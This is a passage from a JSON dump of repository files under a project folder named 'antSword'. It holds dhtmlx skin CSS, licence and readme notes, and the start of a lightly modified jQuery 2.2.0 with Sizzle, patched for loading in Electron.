bottom, color-stop(0, #ecf2f7), color-stop(0.88, #cce2fe), color-stop(1, #e1eeff));\n  background: -o-linear-gradient(top, #e1eeff, #cce2fe 12%, #ecf2f7);\n  background: linear-gradient(top, #e1eeff, #cce2fe 12%, #ecf2f7);\n  background: -ms-linear-gradient(top, #e1eeff 0%, #cce2fe 12%, #ecf2f7 100%);*/\n\n  background: -moz-linear-gradient(center bottom, #ececec 0%, #e6e6e6 12%, #efefef 100%);\n  background: -webkit-gradient(linear, left top, left bottom, color-stop(0, #efefef), color-stop(0.88, #e6e6e6), color-stop(1, #ececec));\n  background: -o-linear-gradient(top, #ececec, #e6e6e6 12%, #efefef);\n  background: linear-gradient(top, #ececec, #e6e6e6 12%, #efefef);\n  background: -ms-linear-gradient(top, #ececec 0%, #e6e6e6 12%, #efefef 100%);\n}\n.dhtmlx-alert .dhtmlx_popup_controls,\n.dhtmlx-confirm .dhtmlx_popup_controls {\n  border: 1px solid #d5d5d5;\n  border-width: 0 1px 1px 1px;\n}\n.dhtmlx-alert .dhtmlx_popup_text,\n.dhtmlx-confirm .dhtmlx_popup_text {\n  border: 1px solid #d5d5d5;\n  border-width: 0 1px 0 1px;\n}\n\n\t"
  },
  {
    "path": "antSword/static/libs/dhtmlx/skins/mytheme/imgs/dhxvault_skyblue/icons_licence.txt",
    "content": "These icons are licensed under a Creative Commons Attribution 3.0 License\nhttp://fatcow.com/"
  },
  {
    "path": "antSword/static/libs/dhtmlx/skins/mytheme/readme.txt",
    "content": "To change your skin please follow the link:\nhttp://dhtmlx.com/docs/products/skinBuilder/index.shtml#d9cd0fa633"
  },
  {
    "path": "antSword/static/libs/jquery/jquery.js",
    "content": "/*!\n * jQuery JavaScript Library v2.2.0\n * http://jquery.com/\n *\n * Includes Sizzle.js\n * http://sizzlejs.com/\n *\n * Copyright jQuery Foundation and other contributors\n * Released under the MIT license\n * http://jquery.org/license\n *\n * Date: 2016-01-08T20:02Z\n */\n\n(function( global, factory ) {\n\n\t// 不使用module加载器，这样就可以直接在electron中引用jquery了\n\tfactory(global);\n\t// if ( typeof module === \"object\" && typeof module.exports === \"object\" ) {\n\t// \t// For CommonJS and CommonJS-like environments where a proper `window`\n\t// \t// is present, execute the factory and get jQuery.\n\t// \t// For environments that do not have a `window` with a `document`\n\t// \t// (such as Node.js), expose a factory as module.exports.\n\t// \t// This accentuates the need for the creation of a real `window`.\n\t// \t// e.g. var jQuery = require(\"jquery\")(window);\n\t// \t// See ticket #14549 for more info.\n\t// \tmodule.exports = global.document ?\n\t// \t\tfactory( global, true ) :\n\t// \t\tfunction( w ) {\n\t// \t\t\tif ( !w.document ) {\n\t// \t\t\t\tthrow new Error( \"jQuery requires a window with a document\" );\n\t// \t\t\t}\n\t// \t\t\treturn factory( w );\n\t// \t\t};\n\t// } else {\n\t// \tfactory( global );\n\t// }\n\n// Pass this if window is not defined yet\n}(typeof window !== \"undefined\" ? window : this, function( window, noGlobal ) {\n\n// Support: Firefox 18+\n// Can't be in strict mode, several libs including ASP.NET trace\n// the stack via arguments.caller.callee and Firefox dies if\n// you try to trace through \"use strict\" call chains. (#13335)\n//\"use strict\";\nvar arr = [];\n\nvar document = window.document;\n\nvar slice = arr.slice;\n\nvar concat = arr.concat;\n\nvar push = arr.push;\n\nvar indexOf = arr.indexOf;\n\nvar class2type = {};\n\nvar toString = class2type.toString;\n\nvar hasOwn = class2type.hasOwnProperty;\n\nvar support = {};\n\n\n\nvar\n\tversion = \"2.2.0\",\n\n\t// Define a local copy of jQuery\n\tjQuery = function( selector, context ) {\n\n\t\t// The jQuery object is actually just the init constructor 'enhanced'\n\t\t// Need init if jQuery is called (just allow error to be thrown if not included)\n\t\treturn new jQuery.fn.init( selector, context );\n\t},\n\n\t// Support: Android<4.1\n\t// Make sure we trim BOM and NBSP\n\trtrim = /^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,\n\n\t// Matches dashed string for camelizing\n\trmsPrefix = /^-ms-/,\n\trdashAlpha = /-([\\da-z])/gi,\n\n\t// Used by jQuery.camelCase as callback to replace()\n\tfcamelCase = function( all, letter ) {\n\t\treturn letter.toUpperCase();\n\t};\n\njQuery.fn = jQuery.prototype = {\n\n\t// The current version of jQuery being used\n\tjquery: version,\n\n\tconstructor: jQuery,\n\n\t// Start with an empty selector\n\tselector: \"\",\n\n\t// The default length of a jQuery object is 0\n\tlength: 0,\n\n\ttoArray: function() {\n\t\treturn slice.call( this );\n\t},\n\n\t// Get the Nth element in the matched element set OR\n\t// Get the whole matched element set as a clean array\n\tget: function( num ) {\n\t\treturn num != null ?\n\n\t\t\t// Return just the one element from the set\n\t\t\t( num < 0 ? this[ num + this.length ] : this[ num ] ) :\n\n\t\t\t// Return all the elements in a clean array\n\t\t\tslice.call( this );\n\t},\n\n\t// Take an array of elements and push it onto the stack\n\t// (returning the new matched element set)\n\tpushStack: function( elems ) {\n\n\t\t// Build a new jQuery matched element set\n\t\tvar ret = jQuery.merge( this.constructor(), elems );\n\n\t\t// Add the old object onto the stack (as a reference)\n\t\tret.prevObject = this;\n\t\tret.context = this.context;\n\n\t\t// Return the newly-formed element set\n\t\treturn ret;\n\t},\n\n\t// Execute a callback for every element in the matched set.\n\teach: function( callback ) {\n\t\treturn jQuery.each( this, callback );\n\t},\n\n\tmap: function( callback ) {\n\t\treturn this.pushStack( jQuery.map( this, function( elem, i ) {\n\t\t\treturn callback.call( elem, i, elem );\n\t\t} ) );\n\t},\n\n\tslice: function() {\n\t\treturn this.pushStack( slice.apply( this, arguments ) );\n\t},\n\n\tfirst: function() {\n\t\treturn this.eq( 0 );\n\t},\n\n\tlast: function() {\n\t\treturn this.eq( -1 );\n\t},\n\n\teq: function( i ) {\n\t\tvar len = this.length,\n\t\t\tj = +i + ( i < 0 ? len : 0 );\n\t\treturn this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );\n\t},\n\n\tend: function() {\n\t\treturn this.prevObject || this.constructor();\n\t},\n\n\t// For internal use only.\n\t// Behaves like an Array's method, not like a jQuery method.\n\tpush: push,\n\tsort: arr.sort,\n\tsplice: arr.splice\n};\n\njQuery.extend = jQuery.fn.extend = function() {\n\tvar options, name, src, copy, copyIsArray, clone,\n\t\ttarget = arguments[ 0 ] || {},\n\t\ti = 1,\n\t\tlength = arguments.length,\n\t\tdeep = false;\n\n\t// Handle a deep copy situation\n\tif ( typeof target === \"boolean\" ) {\n\t\tdeep = target;\n\n\t\t// Skip the boolean and the target\n\t\ttarget = arguments[ i ] || {};\n\t\ti++;\n\t}\n\n\t// Handle case when target is a string or something (possible in deep copy)\n\tif ( typeof target !== \"object\" && !jQuery.isFunction( target ) ) {\n\t\ttarget = {};\n\t}\n\n\t// Extend jQuery itself if only one argument is passed\n\tif ( i === length ) {\n\t\ttarget = this;\n\t\ti--;\n\t}\n\n\tfor ( ; i < length; i++ ) {\n\n\t\t// Only deal with non-null/undefined values\n\t\tif ( ( options = arguments[ i ] ) != null ) {\n\n\t\t\t// Extend the base object\n\t\t\tfor ( name in options ) {\n\t\t\t\tsrc = target[ name ];\n\t\t\t\tcopy = options[ name ];\n\n\t\t\t\t// Prevent never-ending loop\n\t\t\t\tif ( target === copy ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Recurse if we're merging plain objects or arrays\n\t\t\t\tif ( deep && copy && ( jQuery.isPlainObject( copy ) ||\n\t\t\t\t\t( copyIsArray = jQuery.isArray( copy ) ) ) ) {\n\n\t\t\t\t\tif ( copyIsArray ) {\n\t\t\t\t\t\tcopyIsArray = false;\n\t\t\t\t\t\tclone = src && jQuery.isArray( src ) ? src : [];\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tclone = src && jQuery.isPlainObject( src ) ? src : {};\n\t\t\t\t\t}\n\n\t\t\t\t\t// Never move original objects, clone them\n\t\t\t\t\ttarget[ name ] = jQuery.extend( deep, clone, copy );\n\n\t\t\t\t// Don't bring in undefined values\n\t\t\t\t} else if ( copy !== undefined ) {\n\t\t\t\t\ttarget[ name ] = copy;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return the modified object\n\treturn target;\n};\n\njQuery.extend( {\n\n\t// Unique for each copy of jQuery on the page\n\texpando: \"jQuery\" + ( version + Math.random() ).replace( /\\D/g, \"\" ),\n\n\t// Assume jQuery is ready without the ready module\n\tisReady: true,\n\n\terror: function( msg ) {\n\t\tthrow new Error( msg );\n\t},\n\n\tnoop: function() {},\n\n\tisFunction: function( obj ) {\n\t\treturn jQuery.type( obj ) === \"function\";\n\t},\n\n\tisArray: Array.isArray,\n\n\tisWindow: function( obj ) {\n\t\treturn obj != null && obj === obj.window;\n\t},\n\n\tisNumeric: function( obj ) {\n\n\t\t// parseFloat NaNs numeric-cast false positives (null|true|false|\"\")\n\t\t// ...but misinterprets leading-number strings, particularly hex literals (\"0x...\")\n\t\t// subtraction forces infinities to NaN\n\t\t// adding 1 corrects loss of precision from parseFloat (#15100)\n\t\tvar realStringObj = obj && obj.toString();\n\t\treturn !jQuery.isArray( obj ) && ( realStringObj - parseFloat( realStringObj ) + 1 ) >= 0;\n\t},\n\n\tisPlainObject: function( obj ) {\n\n\t\t// Not plain objects:\n\t\t// - Any object or value whose internal [[Class]] property is not \"[object Object]\"\n\t\t// - DOM nodes\n\t\t// - window\n\t\tif ( jQuery.type( obj ) !== \"object\" || obj.nodeType || jQuery.isWindow( obj ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif ( obj.constructor &&\n\t\t\t\t!hasOwn.call( obj.constructor.prototype, \"isPrototypeOf\" ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// If the function hasn't returned already, we're confident that\n\t\t// |obj| is a plain object, created by {} or constructed with new Object\n\t\treturn true;\n\t},\n\n\tisEmptyObject: function( obj ) {\n\t\tvar name;\n\t\tfor ( name in obj ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t},\n\n\ttype: function( obj ) {\n\t\tif ( obj == null ) {\n\t\t\treturn obj + \"\";\n\t\t}\n\n\t\t// Support: Android<4.0, iOS<6 (functionish RegExp)\n\t\treturn typeof obj === \"object\" || typeof obj === \"function\" ?\n\t\t\tclass2type[ toString.call( obj ) ] || \"object\" :\n\t\t\ttypeof obj;\n\t},\n\n\t// Evaluates a script in a global context\n\tglobalEval: function( code ) {\n\t\tvar script,\n\t\t\tindirect = eval;\n\n\t\tcode = jQuery.trim( code );\n\n\t\tif ( code ) {\n\n\t\t\t// If the code includes a valid, prologue position\n\t\t\t// strict mode pragma, execute code by injecting a\n\t\t\t// script tag into the document.\n\t\t\tif ( code.indexOf( \"use strict\" ) === 1 ) {\n\t\t\t\tscript = document.createElement( \"script\" );\n\t\t\t\tscript.text = code;\n\t\t\t\tdocument.head.appendChild( script ).parentNode.removeChild( script );\n\t\t\t} else {\n\n\t\t\t\t// Otherwise, avoid the DOM node creation, insertion\n\t\t\t\t// and removal by using an indirect global eval\n\n\t\t\t\tindirect( code );\n\t\t\t}\n\t\t}\n\t},\n\n\t// Convert dashed to camelCase; used by the css and data modules\n\t// Support: IE9-11+\n\t// Microsoft forgot to hump their vendor prefix (#9572)\n\tcamelCase: function( string ) {\n\t\treturn string.replace( rmsPrefix, \"ms-\" ).replace( rdashAlpha, fcamelCase );\n\t},\n\n\tnodeName: function( elem, name ) {\n\t\treturn elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();\n\t},\n\n\teach: function( obj, callback ) {\n\t\tvar length, i = 0;\n\n\t\tif ( isArrayLike( obj ) ) {\n\t\t\tlength = obj.length;\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tif ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfor ( i in obj ) {\n\t\t\t\tif ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn obj;\n\t},\n\n\t// Support: Android<4.1\n\ttrim: function( text ) {\n\t\treturn text == null ?\n\t\t\t\"\" :\n\t\t\t( text + \"\" ).replace( rtrim, \"\" );\n\t},\n\n\t// results is for internal usage only\n\tmakeArray: function( arr, results ) {\n\t\tvar ret = results || [];\n\n\t\tif ( arr != null ) {\n\t\t\tif ( isArrayLike( Object( arr ) ) ) {\n\t\t\t\tjQuery.merge( ret,\n\t\t\t\t\ttypeof arr === \"string\" ?\n\t\t\t\t\t[ arr ] : arr\n\t\t\t\t);\n\t\t\t} else {\n\t\t\t\tpush.call( ret, arr );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tinArray: function( elem, arr, i ) {\n\t\treturn arr == null ? -1 : indexOf.call( arr, elem, i );\n\t},\n\n\tmerge: function( first, second ) {\n\t\tvar len = +second.length,\n\t\t\tj = 0,\n\t\t\ti = first.length;\n\n\t\tfor ( ; j < len; j++ ) {\n\t\t\tfirst[ i++ ] = second[ j ];\n\t\t}\n\n\t\tfirst.length = i;\n\n\t\treturn first;\n\t},\n\n\tgrep: function( elems, callback, invert ) {\n\t\tvar callbackInverse,\n\t\t\tmatches = [],\n\t\t\ti = 0,\n\t\t\tlength = elems.length,\n\t\t\tcallbackExpect = !invert;\n\n\t\t// Go through the array, only saving the items\n\t\t// that pass the validator function\n\t\tfor ( ; i < length; i++ ) {\n\t\t\tcallbackInverse = !callback( elems[ i ], i );\n\t\t\tif ( callbackInverse !== callbackExpect ) {\n\t\t\t\tmatches.push( elems[ i ] );\n\t\t\t}\n\t\t}\n\n\t\treturn matches;\n\t},\n\n\t// arg is for internal usage only\n\tmap: function( elems, callback, arg ) {\n\t\tvar length, value,\n\t\t\ti = 0,\n\t\t\tret = [];\n\n\t\t// Go through the array, translating each of the items to their new values\n\t\tif ( isArrayLike( elems ) ) {\n\t\t\tlength = elems.length;\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Go through every key on the object,\n\t\t} else {\n\t\t\tfor ( i in elems ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Flatten any nested arrays\n\t\treturn concat.apply( [], ret );\n\t},\n\n\t// A global GUID counter for objects\n\tguid: 1,\n\n\t// Bind a function to a context, optionally partially applying any\n\t// arguments.\n\tproxy: function( fn, context ) {\n\t\tvar tmp, args, proxy;\n\n\t\tif ( typeof context === \"string\" ) {\n\t\t\ttmp = fn[ context ];\n\t\t\tcontext = fn;\n\t\t\tfn = tmp;\n\t\t}\n\n\t\t// Quick check to determine if target is callable, in the spec\n\t\t// this throws a TypeError, but we will just return undefined.\n\t\tif ( !jQuery.isFunction( fn ) ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\t// Simulated bind\n\t\targs = slice.call( arguments, 2 );\n\t\tproxy = function() {\n\t\t\treturn fn.apply( context || this, args.concat( slice.call( arguments ) ) );\n\t\t};\n\n\t\t// Set the guid of unique handler to the same of original handler, so it can be removed\n\t\tproxy.guid = fn.guid = fn.guid || jQuery.guid++;\n\n\t\treturn proxy;\n\t},\n\n\tnow: Date.now,\n\n\t// jQuery.support is not used in Core but other projects attach their\n\t// properties to it so it needs to exist.\n\tsupport: support\n} );\n\n// JSHint would error on this code due to the Symbol not being defined in ES5.\n// Defining this global in .jshintrc would create a danger of using the global\n// unguarded in another place, it seems safer to just disable JSHint for these\n// three lines.\n/* jshint ignore: start */\nif ( typeof Symbol === \"function\" ) {\n\tjQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];\n}\n/* jshint ignore: end */\n\n// Populate the class2type map\njQuery.each( \"Boolean Number String Function Array Date RegExp Object Error Symbol\".split( \" \" ),\nfunction( i, name ) {\n\tclass2type[ \"[object \" + name + \"]\" ] = name.toLowerCase();\n} );\n\nfunction isArrayLike( obj ) {\n\n\t// Support: iOS 8.2 (not reproducible in simulator)\n\t// `in` check used to prevent JIT error (gh-2145)\n\t// hasOwn isn't used here due to false negatives\n\t// regarding Nodelist length in IE\n\tvar length = !!obj && \"length\" in obj && obj.length,\n\t\ttype = jQuery.type( obj );\n\n\tif ( type === \"function\" || jQuery.isWindow( obj ) ) {\n\t\treturn false;\n\t}\n\n\treturn type === \"array\" || length === 0 ||\n\t\ttypeof length === \"number\" && length > 0 && ( length - 1 ) in obj;\n}\nvar Sizzle =\n/*!\n * Sizzle CSS Selector Engine v2.2.1\n * http://sizzlejs.com/\n *\n * Copyright jQuery Foundation and other contributors\n * Released under the MIT license\n * http://jquery.org/license\n *\n * Date: 2015-10-17\n */\n(function( window ) {\n\nvar i,\n\tsupport,\n\tExpr,\n\tgetText,\n\tisXML,\n\ttokenize,\n\tcompile,\n\tselect,\n\toutermostContext,\n\tsortInput,\n\thasDuplicate,\n\n\t// Local document vars\n\tsetDocument,\n\tdocument,\n\tdocElem,\n\tdocumentIsHTML,\n\trbuggyQSA,\n\trbuggyMatches,\n\tmatches,\n\tcontains,\n\n\t// Instance-specific data\n\texpando = \"sizzle\" + 1 * new Date(),\n\tpreferredDoc = window.document,\n\tdirruns = 0,\n\tdone = 0,\n\tclassCache = createCache(),\n\ttokenCache = createCache(),\n\tcompilerCache = createCache(),\n\tsortOrder = function( a, b ) {\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn 0;\n\t},\n\n\t// General-purpose constants\n\tMAX_NEGATIVE = 1 << 31,\n\n\t// Instance methods\n\thasOwn = ({}).hasOwnProperty,\n\tarr = [],\n\tpop = arr.pop,\n\tpush_native = arr.push,\n\tpush = arr.push,\n\tslice = arr.slice,\n\t// Use a stripped-down indexOf as it's faster than native\n\t// http://jsperf.com/thor-indexof-vs-for/5\n\tindexOf = function( list, elem ) {\n\t\tvar i = 0,\n\t\t\tlen = list.length;\n\t\tfor ( ; i < len; i++ ) {\n\t\t\tif ( list[i] === elem ) {\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\t\treturn -1;\n\t},\n\n\tbooleans = \"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",\n\n\t// Regular expressions\n\n\t// http://www.w3.org/TR/css3-selectors/#whitespace\n\twhitespace = \"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",\n\n\t// http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier\n\tidentifier = \"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",\n\n\t// Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors\n\tattributes = \"\\\\[\" + whitespace + \"*(\" + identifier + \")(?:\" + whitespace +\n\t\t// Operator (capture 2)\n\t\t\"*([*^$|!~]?=)\" + whitespace +\n\t\t// \"Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]\"\n\t\t\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\" + identifier + \"))|)\" + whitespace +\n\t\t\"*\\\\]\",\n\n\tpseudos = \":(\" + identifier + \")(?:\\\\((\" +\n\t\t// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:\n\t\t// 1. quoted (capture 3; capture 4 or capture 5)\n\t\t\"('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|\" +\n\t\t// 2. simple (capture 6)\n\t\t\"((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\" + attributes + \")*)|\" +\n\t\t// 3. anything else (capture 2)\n\t\t\".*\" +\n\t\t\")\\\\)|)\",\n\n\t// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter\n\trwhitespace = new RegExp( whitespace + \"+\", \"g\" ),\n\trtrim = new RegExp( \"^\" + whitespace + \"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\" + whitespace + \"+$\", \"g\" ),\n\n\trcomma = new RegExp( \"^\" + whitespace + \"*,\" + whitespace + \"*\" ),\n\trcombinators = new RegExp( \"^\" + whitespace + \"*([>+~]|\" + whitespace + \")\" + whitespace + \"*\" ),\n\n\trattributeQuotes = new RegExp( \"=\" + whitespace + \"*([^\\\\]'\\\"]*?)\" + whitespace + \"*\\\\]\", \"g\" ),\n\n\trpseudo = new RegExp( pseudos ),\n\tridentifier = new RegExp( \"^\" + identifier + \"$\" ),\n\n\tmatchExpr = {\n\t\t\"ID\": new RegExp( \"^#(\" + identifier + \")\" ),\n\t\t\"CLASS\": new RegExp( \"^\\\\.(\" + identifier + \")\" ),\n\t\t\"TAG\": new RegExp( \"^(\" + identifier + \"|[*])\" ),\n\t\t\"ATTR\": new RegExp( \"^\" + attributes ),\n\t\t\"PSEUDO\": new RegExp( \"^\" + pseudos ),\n\t\t\"CHILD\": new RegExp( \"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\" + whitespace +\n\t\t\t\"*(even|odd|(([+-]|)(\\\\d*)n|)\" + whitespace + \"*(?:([+-]|)\" + whitespace +\n\t\t\t\"*(\\\\d+)|))\" + whitespace + \"*\\\\)|)\", \"i\" ),\n\t\t\"bool\": new RegExp( \"^(?:\" + booleans + \")$\", \"i\" ),\n\t\t// For use in libraries implementing .is()\n\t\t// We use this for POS matching in `select`\n\t\t\"needsContext\": new RegExp( \"^\" + whitespace + \"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\" +\n\t\t\twhitespace + \"*((?:-\\\\d)?\\\\d*)\" + whitespace + \"*\\\\)|)(?=[^-]|$)\", \"i\" )\n\t},\n\n\trinputs = /^(?:input|select|textarea|button)$/i,\n\trheader = /^h\\d$/i,\n\n\trnative = /^[^{]+\\{\\s*\\[native \\w/,\n\n\t// Easily-parseable/retrievable ID or TAG or CLASS selectors\n\trquickExpr = /^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,\n\n\trsibling = /[+~]/,\n\trescape = /'|\\\\/g,\n\n\t// CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters\n\trunescape = new RegExp( \"\\\\\\\\([\\\\da-f]{1,6}\" + whitespace + \"?|(\" + whitespace + \")|.)\", \"ig\" ),\n\tfunescape = function( _, escaped, escapedWhitespace ) {\n\t\tvar high = \"0x\" + escaped - 0x10000;\n\t\t// NaN means non-codepoint\n\t\t// Support: Firefox<24\n\t\t// Workaround erroneous numeric interpretation of +\"0x\"\n\t\treturn high !== high || escapedWhitespace ?\n\t\t\tescaped :\n\t\t\thigh < 0 ?\n\t\t\t\t// BMP codepoint\n\t\t\t\tString.fromCharCode( high + 0x10000 ) :\n\t\t\t\t// Supplemental Plane codepoint (surrogate pair)\n\t\t\t\tString.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );\n\t},\n\n\t// Used for iframes\n\t// See setDocument()\n\t// Removing the function wrapper causes a \"Permission Denied\"\n\t// error in IE\n\tunloadHandler = function() {\n\t\tsetDocument();\n\t};\n\n// Optimize for push.apply( _, NodeList )\ntry {\n\tpush.apply(\n\t\t(arr = slice.call( preferredDoc.childNodes )),\n\t\tpreferredDoc.childNodes\n\t);\n\t// Support: Android<4.0\n\t// Detect silently failing push.apply\n\tarr[ preferredDoc.childNodes.length ].nodeType;\n} catch ( e ) {\n\tpush = { apply: arr.length ?\n\n\t\t// Leverage slice if possible\n\t\tfunction( target, els ) {\n\t\t\tpush_native.apply( target, slice.call(els) );\n\t\t} :\n\n\t\t// Support: IE<9\n\t\t// Otherwise append directly\n\t\tfunction( target, els ) {\n\t\t\tvar j = target.length,\n\t\t\t\ti = 0;\n\t\t\t// Can't trust NodeList.length\n\t\t\twhile ( (target[j++] = els[i++]) ) {}\n\t\t\ttarget.length = j - 1;\n\t\t}\n\t};\n}\n\nfunction Sizzle( selector, context, results, seed ) {\n\tvar m, i, elem, nid, nidselect, match, groups, newSelector,\n\t\tnewContext = context && context.ownerDocument,\n\n\t\t// nodeType defaults to 9, since context defaults to document\n\t\tnodeType = context ? context.nodeType : 9;\n\n\tresults = results || [];\n\n\t// Return early from calls with invalid selector or context\n\tif ( typeof selector !== \"string\" || !selector ||\n\t\tnodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {\n\n\t\treturn results;\n\t}\n\n\t// Try to shortcut find operations (as opposed to filters) in HTML documents\n\tif ( !seed ) {\n\n\t\tif ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {\n\t\t\tsetDocument( context );\n\t\t}\n\t\tcontext = context || document;\n\n\t\tif ( documentIsHTML ) {\n\n\t\t\t// If the selector is sufficiently simple, try using a \"get*By*\" DOM method\n\t\t\t// (excepting DocumentFragment context, where the methods don't exist)\n\t\t\tif ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) {\n\n\t\t\t\t// ID selector\n\t\t\t\tif ( (m = match[1]) ) {\n\n\t\t\t\t\t// Document context\n\t\t\t\t\tif ( nodeType === 9 ) {\n\t\t\t\t\t\tif ( (elem = context.getElementById( m )) ) {\n\n\t\t\t\t\t\t\t// Support: IE, Opera, Webkit\n\t\t\t\t\t\t\t// TODO: identify versions\n\t\t\t\t\t\t\t// getElementById can match elements by name instead of ID\n\t\t\t\t\t\t\tif ( elem.id === m ) {\n\t\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t// Element context\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\t// Support: IE, Opera, Webkit\n\t\t\t\t\t\t// TODO: identify versions\n\t\t\t\t\t\t// getElementById can match elements by name instead of ID\n\t\t\t\t\t\tif ( newContext && (elem = newContext.getElementById( m )) &&\n\t\t\t\t\t\t\tcontains( context, elem ) &&\n\t\t\t\t\t\t\telem.id === m ) {\n\n\t\t\t\t\t\t\tresults.push( elem );\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t// Type selector\n\t\t\t\t} else if ( match[2] ) {\n\t\t\t\t\tpush.apply( results, context.getElementsByTagName( selector ) );\n\t\t\t\t\treturn results;\n\n\t\t\t\t// Class selector\n\t\t\t\t} else if ( (m = match[3]) && support.getElementsByClassName &&\n\t\t\t\t\tcontext.getElementsByClassName ) {\n\n\t\t\t\t\tpush.apply( results, context.getElementsByClassName( m ) );\n\t\t\t\t\treturn results;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Take advantage of querySelectorAll\n\t\t\tif ( support.qsa &&\n\t\t\t\t!compilerCache[ selector + \" \" ] &&\n\t\t\t\t(!rbuggyQSA || !rbuggyQSA.test( selector )) ) {\n\n\t\t\t\tif ( nodeType !== 1 ) {\n\t\t\t\t\tnewContext = context;\n\t\t\t\t\tnewSelector = selector;\n\n\t\t\t\t// qSA looks outside Element context, which is not what we want\n\t\t\t\t// Thanks to Andrew Dupont for this workaround technique\n\t\t\t\t// Support: IE <=8\n\t\t\t\t// Exclude object elements\n\t\t\t\t} else if ( context.nodeName.toLowerCase() !== \"object\" ) {\n\n\t\t\t\t\t// Capture the context ID, setting it first if necessary\n\t\t\t\t\tif ( (nid = context.getAttribute( \"id\" )) ) {\n\t\t\t\t\t\tnid = nid.replace( rescape, \"\\\\$&\" );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcontext.setAttribute( \"id\", (nid = expando) );\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prefix every selector in the list\n\t\t\t\t\tgroups = tokenize( selector );\n\t\t\t\t\ti = groups.length;\n\t\t\t\t\tnidselect = ridentifier.test( nid ) ? \"#\" + nid : \"[id='\" + nid + \"']\";\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tgroups[i] = nidselect + \" \" + toSelector( groups[i] );\n\t\t\t\t\t}\n\t\t\t\t\tnewSelector = groups.join( \",\" );\n\n\t\t\t\t\t// Expand context for sibling selectors\n\t\t\t\t\tnewContext = rsibling.test( selector ) && testContext( context.parentNode ) ||\n\t\t\t\t\t\tcontext;\n\t\t\t\t}\n\n\t\t\t\tif ( newSelector ) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tpush.apply( results,\n\t\t\t\t\t\t\tnewContext.querySelectorAll( newSelector )\n\t\t\t\t\t\t);\n\t\t\t\t\t\treturn results;\n\t\t\t\t\t} catch ( qsaError ) {\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tif ( nid === expando ) {\n\t\t\t\t\t\t\tcontext.removeAttribute( \"id\" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// All others\n\treturn select( selector.replace( rtrim, \"$1\" ), context, results, seed );\n}\n\n/**\n * Create key-value caches of limited size\n * @returns {function(string, object)} Returns the Object data after storing it on itself with\n *\tproperty name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)\n *\tdeleting the oldest entry\n */\nfunction createCache() {\n\tvar keys = [];\n\n\tfunction cache( key, value ) {\n\t\t// Use (key + \" \") to avoid collision with native prototype properties (see Issue #157)\n\t\tif ( keys.push( key + \" \" ) > Expr.cacheLength ) {\n\t\t\t// Only keep the most recent entries\n\t\t\tdelete cache[ keys.shift() ];\n\t\t}\n\t\treturn (cache[ key + \" \" ] = value);\n\t}\n\treturn 